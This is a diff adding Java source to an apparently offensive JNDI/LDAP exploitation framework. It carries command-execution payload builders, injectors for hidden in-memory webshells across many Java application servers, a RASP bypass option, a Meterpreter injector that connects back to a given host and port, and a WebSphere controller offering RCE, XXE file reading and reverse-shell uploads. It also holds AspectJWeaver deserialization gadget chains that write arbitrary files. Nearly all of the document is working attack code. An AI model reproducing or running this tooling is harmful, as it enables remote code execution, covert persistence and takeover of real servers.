+
+ if (cmdLine.hasOption("obscure")) {
+ Config.IS_OBSCURE = true;
+ System.out.println(ansi().render("@|green [+]|@使用反射绕过RASP"));
+ }
+
+ if (cmdLine.hasOption("url")) {
+ String url = cmdLine.getOptionValue("url");
+ if (!url.startsWith("/")) {
+ url = "/" + url;
+ }
+ Config.URL_PATTERN = url;
+ System.out.println("[+] Path:" + Config.URL_PATTERN);
+ }
+
+ if (cmdLine.hasOption("password")) {
+ Config.PASSWORD = HexUtils.generatePassword(cmdLine.getOptionValue("password"));
+ System.out.println("[+] Password:" + Config.PASSWORD);
+ }
+
+ if (cmdLine.hasOption("referer")) {
+ Config.HEADER_KEY = cmdLine.getOptionValue("referer");
+ System.out.println("[+] referer:" + Config.HEADER_KEY);
+ }
+
+ if (cmdLine.hasOption("AbstractTranslet")) {
+ Config.IS_INHERIT_ABSTRACT_TRANSLET = true;
+ System.out.println("[+] 继承恶意类AbstractTranslet");
+ }
+
+ if (cmdLine.hasOption("hide-mem-shell")) {
+ Config.HIDE_MEMORY_SHELL = true;
+
+ if (cmdLine.hasOption("hide-type")) {
+ Config.HIDE_MEMORY_SHELL_TYPE = Integer.parseInt(cmdLine.getOptionValue("hide-type"));
+ }
+ }
+ }
+
+ if (gadgetType == GadgetType.base64) {
+ String cmd = Util.getCmdFromBase(base);
+ System.out.println(ansi().render("@|green [+]|@ Command >>" + cmd));
+ params = new String[]{cmd};
+ }
+ if (gadgetType == GadgetType.msf) {
+ String[] results1 = Util.getIPAndPortFromBase(base);
+ Config.rhost = results1[0];
+ Config.rport = results1[1];
+ System.out.println("[+] RemotHost: " + results1[0]);
+ System.out.println("[+] RemotPort: " + results1[1]);
+ params = results1;
+ }
+ } catch (Exception e) {
+ if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
+
+ throw new IncorrectParamsException("Incorrect params: " + base);
+ }
+ }
+
+ private class TomcatBypassHelper {
+
+ public String getExecCode(String cmd) throws IOException {
+
+ String code = "var strs=new Array(3);\n" +
+ " if(java.io.File.separator.equals('/')){\n" +
+ " strs[0]='/bin/bash';\n" +
+ " strs[1]='-c';\n" +
+ " strs[2]='" + cmd + "';\n" +
+ " }else{\n" +
+ " strs[0]='cmd';\n" +
+ " strs[1]='/C';\n" +
+ " strs[2]='" + cmd + "';\n" +
+ " }\n" +
+ " java.lang.Runtime.getRuntime().exec(strs);";
+
+ return code;
+ }
+
+ public String injectTomcatEcho() {
+ return InjShell.injectClass(TomcatEcho.class);
+ }
+
+ public String injectJbossEcho() {
+ return InjShell.injectClass(JbossEcho.class);
+ }
+
+ public String injectResinEcho() {
+ return InjShell.injectClass(resinEcho.class);
+ }
+
+ public String injectSpringEcho() {
+ return InjShell.injectClass(SpringEcho.class);
+ }
+
+ public String injectWeblogicEcho() {
+ return InjShell.injectClass(weblogicEcho.class);
+ }
+
+ public String injectWebsphereEcho() {
+ return InjShell.injectClass(websphereEcho.class);
+ }
+
+ public String injectWindowsEcho() {
+ return InjShell.injectClass(WindowsEcho.class);
+ }
+
+ public String injectLinuxEcho1() {
+ return InjShell.injectClass(LinuxEcho1.class);
+ }
+
+ public String injectLinuxEcho2() {
+ return InjShell.injectClass(LinuxEcho2.class);
+ }
+
+ public String injectJettyEcho() {
+ return InjShell.injectClass(jettyEcho.class);
+ }
+
+ public String injectAllEcho() {
+ return InjShell.injectClass(AllEcho.class);
+ }
+
+ public String injectcmsMSBYNC() {
+ return InjShell.injectClass(cmsMSBYNC.class);
+ }
+
+ public String injectproxyMSBYNC() {
+ return InjShell.injectClass(proxyMSBYNC.class);
+ }
+
+ public String injectWsResin() {
+ return InjShell.injectClass(WsResin.class);
+ }
+
+ public String injectMsTSJser() {
+ return InjShell.injectClass(MsTSJser.class);
+ }
+
+ public String injectMsTSJproxy() {
+ return InjShell.injectClass(MsTSJproxy.class);
+ }
+
+ public String injectWsWeblogic() {
+ return InjShell.injectClass(WsWeblogic.class);
+ }
+
+ public String injectWSWebsphereProxy() {
+ return InjShell.injectClass(WSWebsphereProxy.class);
+ }
+
+ public String injectSuccess() {
+ return InjShell.injectClass(isSuccess.class);
+ }
+
+ // public String injectMeterpreter(){return injectClass(Meterpreter.class);}
+ public String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
+ Class> ctClazz = Class.forName("com.qi4l.jndi.template.Meterpreter");
+ Field WinClassName = ctClazz.getDeclaredField("host");
+ WinClassName.setAccessible(true);
+ WinClassName.set(ctClazz, params[0]);
+ Field WinclassBody = ctClazz.getDeclaredField("port");
+ WinclassBody.setAccessible(true);
+ WinclassBody.set(ctClazz, params[1]);
+ return InjShell.injectClass(ctClazz);
+ }
+
+ public String injectTomcatFilterJmx() throws Exception {
+ return InjShell.structureShellTom(TSMSFromJMXF.class);
+ }
+
+ public String injectTomcatFilterTh() throws Exception {
+ return InjShell.structureShellTom(TFMSFromThreadF.class);
+ }
+
+ public String injectStruts2ActionMS() throws Exception {
+ return InjShell.structureShellTom(Struts2ActionMS.class);
+ }
+
+ public String injectTomcatListenerJmx() throws Exception {
+ return InjShell.structureShellTom(TLMSFromJMXLi.class);
+ }
+
+ public String injectTomcatListenerTh() throws Exception {
+ return InjShell.structureShellTom(TFMSFromThreadLi.class);
+ }
+
+ public String injectTomcatServletJmx() throws Exception {
+ return InjShell.structureShellTom(TSMSFromJMXS.class);
+ }
+
+ public String injectTomcatServletTh() throws Exception {
+ return InjShell.structureShellTom(TFMSFromThreadS.class);
+ }
+
+ public String injectJBossFilter() throws Exception {
+ return InjShell.structureShellTom(JBFMSFromContextF.class);
+ }
+
+ public String injectJBossServlet() throws Exception {
+ return InjShell.structureShellTom(JBSMSFromContextS.class);
+ }
+
+ public String injectJettyFilter() throws Exception {
+ return InjShell.structureShellTom(JFMSFromJMXF.class);
+ }
+
+ public String injectJettyServlet() throws Exception {
+ return InjShell.structureShellTom(JSMSFromJMXS.class);
+ }
+
+ public String injectWSFilter() throws Exception {
+ Config.init();
+ ClassPool pool = ClassPool.getDefault();
+ pool.insertClassPath(new ClassClassPath(WSFMSFromThread.class));
+ CtClass ctClass = pool.get(WSFMSFromThread.class.getName());
+ InjShell.class.getMethod("insertKeyMethod", CtClass.class, String.class).invoke(InjShell.class.newInstance(), ctClass, "ws");
+ ctClass.setName(ClassNameUtils.generateClassName());
+ if (Config.winAgent) {
+ InjShell.TinsertWinAgent(ctClass);
+ return InjShell.injectClass(WinMenshell.class);
+ }
+ if (Config.linAgent) {
+ InjShell.TinsertLinAgent(ctClass);
+ return InjShell.injectClass(WinMenshell.class);
+ }
+ if (Config.HIDE_MEMORY_SHELL) {
+ switch (Config.HIDE_MEMORY_SHELL_TYPE) {
+ case 1:
+ break;
+ case 2:
+ CtClass newClass = pool.get("com.qi4l.jndi.template.HideMemShellTemplate");
+ newClass.setName(ClassNameUtils.generateClassName());
+ String content = "b64=\"" + Base64.encodeBase64String(ctClass.toBytecode()) + "\";";
+ String className = "className=\"" + ctClass.getName() + "\";";
+ newClass.defrost();
+ newClass.makeClassInitializer().insertBefore(content);
+ newClass.makeClassInitializer().insertBefore(className);
+
+ if (Config.IS_INHERIT_ABSTRACT_TRANSLET) {
+ Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
+ CtClass superClass = pool.get(abstTranslet.getName());
+ newClass.setSuperclass(superClass);
+ }
+
+ return InjShell.injectClass(newClass.getClass());
+ }
+ }
+
+ return InjShell.injectClass(ctClass.getClass());
+ }
+
+ public String injectTomcatExecutor() throws Exception {
+ Config.init();
+ ClassPool pool = ClassPool.getDefault();
+ pool.insertClassPath(new ClassClassPath(TWSMSFromThread.class));
+ CtClass ctClass = pool.get(TWSMSFromThread.class.getName());
+ InjShell.class.getMethod("insertKeyMethod", CtClass.class, String.class).invoke(InjShell.class.newInstance(), ctClass, "execute");
+ ctClass.setName(ClassNameUtils.generateClassName());
+ if (Config.winAgent) {
+ InjShell.TinsertWinAgent(ctClass);
+ return InjShell.injectClass(WinMenshell.class);
+ }
+ if (Config.linAgent) {
+ InjShell.TinsertLinAgent(ctClass);
+ return InjShell.injectClass(WinMenshell.class);
+ }
+ if (Config.HIDE_MEMORY_SHELL) {
+ switch (Config.HIDE_MEMORY_SHELL_TYPE) {
+ case 1:
+ break;
+ case 2:
+ CtClass newClass = pool.get("com.qi4l.jndi.template.HideMemShellTemplate");
+ newClass.setName(ClassNameUtils.generateClassName());
+ String content = "b64=\"" + Base64.encodeBase64String(ctClass.toBytecode()) + "\";";
+ String className = "className=\"" + ctClass.getName() + "\";";
+ newClass.defrost();
+ newClass.makeClassInitializer().insertBefore(content);
+ newClass.makeClassInitializer().insertBefore(className);
+
+ if (Config.IS_INHERIT_ABSTRACT_TRANSLET) {
+ Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
+ CtClass superClass = pool.get(abstTranslet.getName());
+ newClass.setSuperclass(superClass);
+ }
+
+ return InjShell.injectClass(newClass.getClass());
+ }
+ }
+
+ return InjShell.injectClass(ctClass.getClass());
+ }
+
+ public String injectSpringInterceptor() throws Exception {
+ return InjShell.structureShellTom(SpringInterceptorMS.class);
+ }
+
+ public String injectSpringControllerMS() throws Exception {
+ return InjShell.structureShellTom(SpringControllerMS.class);
+ }
+
+ public String injectResinFilterTh() throws Exception {
+ return InjShell.structureShellTom(RFMSFromThreadF.class);
+ }
+
+ public String injectResinServletTh() throws Exception {
+ return InjShell.structureShellTom(RSMSFromThreadS.class);
+ }
+
+ public String injectTomcatUpgrade() throws Exception {
+ Config.init();
+ ClassPool pool = ClassPool.getDefault();
+ pool.insertClassPath(new ClassClassPath(TWSMSFromThread.class));
+ CtClass ctClass = pool.get(TWSMSFromThread.class.getName());
+ InjShell.class.getMethod("insertKeyMethod", CtClass.class, String.class).invoke(InjShell.class.newInstance(), ctClass, "upgrade");
+ ctClass.setName(ClassNameUtils.generateClassName());
+ if (Config.winAgent) {
+ InjShell.TinsertWinAgent(ctClass);
+ return InjShell.injectClass(WinMenshell.class);
+ }
+ if (Config.linAgent) {
+ InjShell.TinsertLinAgent(ctClass);
+ return InjShell.injectClass(WinMenshell.class);
+ }
+ if (Config.HIDE_MEMORY_SHELL) {
+ switch (Config.HIDE_MEMORY_SHELL_TYPE) {
+ case 1:
+ break;
+ case 2:
+ CtClass newClass = pool.get("com.qi4l.jndi.template.HideMemShellTemplate");
+ newClass.setName(ClassNameUtils.generateClassName());
+ String content = "b64=\"" + Base64.encodeBase64String(ctClass.toBytecode()) + "\";";
+ String className = "className=\"" + ctClass.getName() + "\";";
+ newClass.defrost();
+ newClass.makeClassInitializer().insertBefore(content);
+ newClass.makeClassInitializer().insertBefore(className);
+
+ if (Config.IS_INHERIT_ABSTRACT_TRANSLET) {
+ Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
+ CtClass superClass = pool.get(abstTranslet.getName());
+ newClass.setSuperclass(superClass);
+ }
+
+ return InjShell.injectClass(newClass.getClass());
+ }
+ }
+ return InjShell.injectClass(ctClass.getClass());
+ }
+ }
+}
\ No newline at end of file
diff --git a/src/main/java/com/qi4l/jndi/controllers/WebsphereBypassController.java b/src/main/java/com/qi4l/jndi/controllers/WebsphereBypassController.java
new file mode 100644
index 00000000..e0d3782d
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/controllers/WebsphereBypassController.java
@@ -0,0 +1,135 @@
+package com.qi4l.jndi.controllers;
+
+import com.qi4l.jndi.enumtypes.PayloadType;
+import com.qi4l.jndi.enumtypes.WebsphereActionType;
+import com.qi4l.jndi.exceptions.IncorrectParamsException;
+import com.qi4l.jndi.exceptions.UnSupportedActionTypeException;
+import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
+import com.qi4l.jndi.gadgets.Config.Config;
+import com.qi4l.jndi.gadgets.utils.Util;
+import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
+import com.unboundid.ldap.sdk.Entry;
+import com.unboundid.ldap.sdk.LDAPResult;
+import com.unboundid.ldap.sdk.ResultCode;
+import javax.naming.Reference;
+import javax.naming.StringRefAddr;
+import java.util.Properties;
+
+import static org.fusesource.jansi.Ansi.ansi;
+
+/*
+ * Requires:
+ * - websphere v6-9 libraries in the classpath
+ */
+
+@LdapMapping(uri = { "/webspherebypass" })
+public class WebsphereBypassController implements LdapController {
+ private WebsphereActionType actionType;
+ private String localJarPath;
+ private String injectUrl;
+
+ @Override
+ public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
+
+ System.out.println( ansi().render("@|green [+]|@ @|MAGENTA Sending LDAP ResourceRef result for |@" + base));
+
+ Entry e = new Entry(base);
+ e.addAttribute("javaClassName", "java.lang.String"); //could be any
+
+ Reference ref;
+ if(actionType == WebsphereActionType.rce){
+ //prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory
+ ref = new Reference("ExportObject",
+ "com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null);
+ Properties refProps = new Properties();
+ refProps.put("com.ibm.ws.client.classpath", localJarPath);
+ refProps.put("com.ibm.ws.client.classname", "xExportObject");
+// ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddrropertiesRefAddr("JMSProperties", refProps));
+
+ }else{
+ //prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory
+ ref = new Reference("ExploitObject",
+ "com.ibm.ws.webservices.engine.client.ServiceFactory", null);
+ ref.add(new StringRefAddr("WSDL location", injectUrl));
+ ref.add(new StringRefAddr("service namespace","xxx"));
+ ref.add(new StringRefAddr("service local part","yyy"));
+ }
+ e.addAttribute("javaSerializedData", Util.serialize(ref));
+
+ result.sendSearchEntry(e);
+ result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
+ }
+
+ @Override
+ public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedActionTypeException {
+ try{
+ int firstIndex = base.indexOf("/");
+ int secondIndex = base.indexOf("/", firstIndex + 1);
+ if(secondIndex < 0) secondIndex = base.length();
+
+ try{
+ actionType = WebsphereActionType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
+ System.out.println( ansi().render("@|green [+]|@ @|MAGENTA ActionType >> |@" + actionType));
+ }catch(IllegalArgumentException e){
+ throw new UnSupportedActionTypeException("UnSupportedActionType >> " + base.substring(firstIndex + 1, secondIndex));
+ }
+
+ switch(actionType){
+ case list:
+ String file = base.substring(base.lastIndexOf("=") + 1);
+ System.out.println( ansi().render("@|green [+]|@ @|MAGENTA Read File/List Directory >> |@" + file));
+ injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/list.wsdl?file=" + file;
+ break;
+ case rce:
+ String localJarFile = base.substring(base.lastIndexOf("=") + 1);
+ System.out.println( ansi().render("@|green [+]|@ @|MAGENTA Local jar path >> |@" + localJarFile));
+ localJarPath = localJarFile;
+ break;
+ case upload:
+ int thirdIndex = base.indexOf("/", secondIndex + 1);
+ if(thirdIndex < 0) thirdIndex = base.length();
+
+ PayloadType payloadType;
+ try{
+ payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
+ // webspherebypass 只支持这 4 种类型的 PayloadType
+ if(payloadType != PayloadType.command && payloadType != PayloadType.dnslog
+ && payloadType != PayloadType.reverseshell && payloadType != PayloadType.webspherememshell){
+ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType);
+ }
+ }catch(IllegalArgumentException e){
+ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
+ }
+
+ System.out.println( ansi().render("@|green [+]|@ @|MAGENTA PayloadType >> |@" + payloadType));
+ switch (payloadType){
+ case command:
+ String cmd = Util.getCmdFromBase(base);
+ System.out.println( ansi().render("@|green [+]|@ @|MAGENTA Command >> |@" + cmd));
+ injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=command&cmd=" + cmd;
+ break;
+ case dnslog:
+ String url = base.substring(base.lastIndexOf("/") + 1);
+ System.out.println( ansi().render("@|green [+]|@ @|MAGENTA URL >> |@" + url));
+ injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=dnslog&url=" + url;
+ break;
+ case reverseshell:
+ String[] results = Util.getIPAndPortFromBase(base);
+ System.out.println( ansi().render("@|green [+]|@ @|MAGENTA IP >> |@" + results[0]));
+ System.out.println( ansi().render("@|green [+]|@ @|MAGENTA Port >> |@" + results[1]));
+ injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=reverseshell&ip=" + results[0] + "&port=" + results[1];
+ break;
+ case webspherememshell:
+ injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=webspherememshell";
+ break;
+ }
+ break;
+ }
+ }catch(Exception e){
+ if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
+ if(e instanceof UnSupportedActionTypeException) throw (UnSupportedActionTypeException)e;
+
+ throw new IncorrectParamsException("Incorrect params: " + base);
+ }
+ }
+}
\ No newline at end of file
diff --git a/src/main/java/com/qi4l/jndi/controllers/utils/AESUtils.java b/src/main/java/com/qi4l/jndi/controllers/utils/AESUtils.java
new file mode 100644
index 00000000..fd34de11
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/controllers/utils/AESUtils.java
@@ -0,0 +1,39 @@
+package com.qi4l.jndi.controllers.utils;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.IvParameterSpec;
+import javax.crypto.spec.SecretKeySpec;
+import java.nio.charset.StandardCharsets;
+import java.util.Base64;
+
+public class AESUtils {
+ private static final String ALGORITHM = "AES";
+ private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
+ private static final int KEY_SIZE = 16;
+
+ public static String decrypt(String ciphertext, String key) throws Exception {
+ byte[] combinedBytes = Base64.getDecoder().decode(ciphertext);
+ byte[] ivBytes = new byte[KEY_SIZE];
+ byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE];
+
+ System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE);
+ System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length);
+
+ byte[] keyBytes = getKeyBytes(key);
+ SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM);
+ IvParameterSpec ivSpec = new IvParameterSpec(ivBytes);
+
+ Cipher cipher = Cipher.getInstance(TRANSFORMATION);
+ cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec);
+
+ byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
+ return new String(decryptedBytes, StandardCharsets.UTF_8);
+ }
+
+ private static byte[] getKeyBytes(String key) {
+ byte[] keyBytes = new byte[KEY_SIZE];
+ byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8);
+ System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length));
+ return keyBytes;
+ }
+}
diff --git a/src/main/java/com/qi4l/jndi/enumtypes/GadgetType.java b/src/main/java/com/qi4l/jndi/enumtypes/GadgetType.java
new file mode 100644
index 00000000..9e63fd4e
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/enumtypes/GadgetType.java
@@ -0,0 +1,7 @@
+package com.qi4l.jndi.enumtypes;
+
+public enum GadgetType {
+ base64,
+ shell,
+ msf,
+}
diff --git a/src/main/java/com/qi4l/jndi/enumtypes/PayloadType.java b/src/main/java/com/qi4l/jndi/enumtypes/PayloadType.java
new file mode 100644
index 00000000..f5168ef7
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/enumtypes/PayloadType.java
@@ -0,0 +1,47 @@
+package com.qi4l.jndi.enumtypes;
+
+public enum PayloadType {
+ sethttp,
+ dnslog,
+ tomcatupgrade,
+ command,
+ reverseshell,
+ tomcatecho,
+ springecho,
+ weblogicecho,
+ windowsecho,
+ linuxecho2,
+ linuxecho1,
+ allecho,
+ websphereecho,
+ resinecho,
+ tomcatfilterjmx,
+ tomcatfilterth,
+ tomcatlistenerjmx,
+ tomcatlistenerth,
+ tomcatservletjmx,
+ tomcatservletth,
+ jbossfilter,
+ jbossservlet,
+ webspherememshell,
+ springinterceptor,
+ springcontroller,
+ issuccess,
+ jettyfilter,
+ jettyservlet,
+ struts2actionms,
+ wsfilter,
+ tomcatexecutor,
+ meterpreter,
+ resinfilterth,
+ resinservletth,
+ jbossecho,
+ jettyecho,
+ cmsmsbync,
+ proxymsbync,
+ wsresin,
+ mstsjproxy,
+ mstsjser,
+ wsweblogic,
+ wswebsphereproxy,
+}
diff --git a/src/main/java/com/qi4l/jndi/enumtypes/WebsphereActionType.java b/src/main/java/com/qi4l/jndi/enumtypes/WebsphereActionType.java
new file mode 100644
index 00000000..14d52dae
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/enumtypes/WebsphereActionType.java
@@ -0,0 +1,7 @@
+package com.qi4l.jndi.enumtypes;
+
+public enum WebsphereActionType {
+ list,
+ upload,
+ rce;
+}
diff --git a/src/main/java/com/qi4l/jndi/exceptions/IncorrectParamsException.java b/src/main/java/com/qi4l/jndi/exceptions/IncorrectParamsException.java
new file mode 100644
index 00000000..9861321b
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/exceptions/IncorrectParamsException.java
@@ -0,0 +1,10 @@
+package com.qi4l.jndi.exceptions;
+
+public class IncorrectParamsException extends RuntimeException {
+ public IncorrectParamsException(){
+ super();
+ }
+ public IncorrectParamsException(String message){
+ super(message);
+ }
+}
diff --git a/src/main/java/com/qi4l/jndi/exceptions/UnSupportedActionTypeException.java b/src/main/java/com/qi4l/jndi/exceptions/UnSupportedActionTypeException.java
new file mode 100644
index 00000000..95758ad8
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/exceptions/UnSupportedActionTypeException.java
@@ -0,0 +1,10 @@
+package com.qi4l.jndi.exceptions;
+
+public class UnSupportedActionTypeException extends RuntimeException{
+ public UnSupportedActionTypeException(){
+ super();
+ }
+ public UnSupportedActionTypeException(String message){
+ super(message);
+ }
+}
diff --git a/src/main/java/com/qi4l/jndi/exceptions/UnSupportedGadgetTypeException.java b/src/main/java/com/qi4l/jndi/exceptions/UnSupportedGadgetTypeException.java
new file mode 100644
index 00000000..40833d64
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/exceptions/UnSupportedGadgetTypeException.java
@@ -0,0 +1,8 @@
+package com.qi4l.jndi.exceptions;
+
+public class UnSupportedGadgetTypeException extends RuntimeException {
+ public UnSupportedGadgetTypeException(){ super();}
+ public UnSupportedGadgetTypeException(String message){
+ super(message);
+ }
+}
diff --git a/src/main/java/com/qi4l/jndi/exceptions/UnSupportedPayloadTypeException.java b/src/main/java/com/qi4l/jndi/exceptions/UnSupportedPayloadTypeException.java
new file mode 100644
index 00000000..9343b24c
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/exceptions/UnSupportedPayloadTypeException.java
@@ -0,0 +1,10 @@
+package com.qi4l.jndi.exceptions;
+
+public class UnSupportedPayloadTypeException extends RuntimeException {
+ public UnSupportedPayloadTypeException(){
+ super();
+ }
+ public UnSupportedPayloadTypeException(String message){
+ super(message);
+ }
+}
diff --git a/src/main/java/com/qi4l/jndi/gadgets/AspectJWeaver.java b/src/main/java/com/qi4l/jndi/gadgets/AspectJWeaver.java
new file mode 100644
index 00000000..942d45a9
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/gadgets/AspectJWeaver.java
@@ -0,0 +1,101 @@
+package com.qi4l.jndi.gadgets;
+
+import com.qi4l.jndi.enumtypes.PayloadType;
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+import com.qi4l.jndi.gadgets.utils.Reflections;
+import org.apache.commons.codec.binary.Base64;
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.ConstantTransformer;
+import org.apache.commons.collections.keyvalue.TiedMapEntry;
+import org.apache.commons.collections.map.LazyMap;
+
+import java.io.Serializable;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+
+/**
+Gadget chain:
+HashSet.readObject()
+ HashMap.put()
+ HashMap.hash()
+ TiedMapEntry.hashCode()
+ TiedMapEntry.getValue()
+ LazyMap.get()
+ SimpleCache$StorableCachingMap.put()
+ SimpleCache$StorableCachingMap.writeToPath()
+ FileOutputStream.write()
+
+Usage:
+args = ";"
+Example:
+java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
+
+More information:
+https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
+ */
+
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
+@Authors({ Authors.JANG })
+
+public class AspectJWeaver implements ObjectPayload {
+
+ public Serializable getObject(PayloadType type, String... param) throws Exception {
+ String command = param[0];
+ int sep = command.lastIndexOf(':');
+ if (sep < 0) {
+ throw new IllegalArgumentException("Command format is: :");
+ }
+ String[] parts = command.split(":");
+ String filename = parts[0];
+ byte[] content = Base64.decodeBase64(parts[1]);
+
+ Constructor> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
+ Object simpleCache = ctor.newInstance(".", 12);
+ Transformer ct = new ConstantTransformer(content);
+ Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
+ TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
+ HashSet map = new HashSet(1);
+ map.add("nu1r");
+ Field f = null;
+ try {
+ f = HashSet.class.getDeclaredField("map");
+ } catch (NoSuchFieldException e) {
+ f = HashSet.class.getDeclaredField("backingMap");
+ }
+
+ Reflections.setAccessible(f);
+ HashMap innimpl = (HashMap) f.get(map);
+
+ Field f2;
+ try {
+ f2 = HashMap.class.getDeclaredField("table");
+ } catch (NoSuchFieldException e) {
+ f2 = HashMap.class.getDeclaredField("elementData");
+ }
+
+ Reflections.setAccessible(f2);
+ Object[] array = (Object[]) f2.get(innimpl);
+
+ Object node = array[0];
+ if (node == null) {
+ node = array[1];
+ }
+
+ Field keyField;
+ try {
+ keyField = node.getClass().getDeclaredField("key");
+ } catch (Exception e) {
+ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
+ }
+
+ Reflections.setAccessible(keyField);
+ keyField.set(node, entry);
+
+ return map;
+ }
+}
diff --git a/src/main/java/com/qi4l/jndi/gadgets/AspectJWeaver2.java b/src/main/java/com/qi4l/jndi/gadgets/AspectJWeaver2.java
new file mode 100644
index 00000000..df390263
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/gadgets/AspectJWeaver2.java
@@ -0,0 +1,89 @@
+package com.qi4l.jndi.gadgets;
+
+import com.qi4l.jndi.enumtypes.PayloadType;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+import com.qi4l.jndi.gadgets.utils.Reflections;
+import org.apache.commons.codec.binary.Base64;
+import org.apache.commons.collections.Factory;
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.ConstantFactory;
+import org.apache.commons.collections.functors.FactoryTransformer;
+import org.apache.commons.collections.keyvalue.TiedMapEntry;
+import org.apache.commons.collections.map.LazyMap;
+
+import java.io.Serializable;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+
+/**
+ * 使用 ConstantFactory + FactoryTransformer 替换 ConstantTransformer,避免,类似本项目中的 CC10
+ *
+ */
+
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
+public class AspectJWeaver2 implements ObjectPayload{
+
+ @Override
+ public Serializable getObject(PayloadType type, String... param) throws Exception {
+ String command = param[0];
+ int sep = command.lastIndexOf(';');
+ if (sep < 0) {
+ throw new IllegalArgumentException("Command format is: ;");
+ }
+ String[] parts = command.split(";");
+ String filename = parts[0];
+ byte[] content = Base64.decodeBase64(parts[1]);
+
+ Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
+ Object simpleCache = ctor.newInstance(".", 12);
+
+ Factory ft = new ConstantFactory(content);
+ Transformer ct = new FactoryTransformer(ft);
+
+ Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
+ TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
+ HashSet map = new HashSet(1);
+ map.add("nu1r");
+ Field f = null;
+ try {
+ f = HashSet.class.getDeclaredField("map");
+ } catch (NoSuchFieldException e) {
+ f = HashSet.class.getDeclaredField("backingMap");
+ }
+
+ Reflections.setAccessible(f);
+ HashMap innimpl = (HashMap) f.get(map);
+
+ Field f2 = null;
+ try {
+ f2 = HashMap.class.getDeclaredField("table");
+ } catch (NoSuchFieldException e) {
+ f2 = HashMap.class.getDeclaredField("elementData");
+ }
+
+ Reflections.setAccessible(f2);
+ Object[] array = (Object[]) f2.get(innimpl);
+
+ Object node = array[0];
+ if (node == null) {
+ node = array[1];
+ }
+
+ Field keyField = null;
+ try {
+ keyField = node.getClass().getDeclaredField("key");
+ } catch (Exception e) {
+ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
+ }
+
+ Reflections.setAccessible(keyField);
+ keyField.set(node, entry);
+
+ return map;
+
+ }
+}
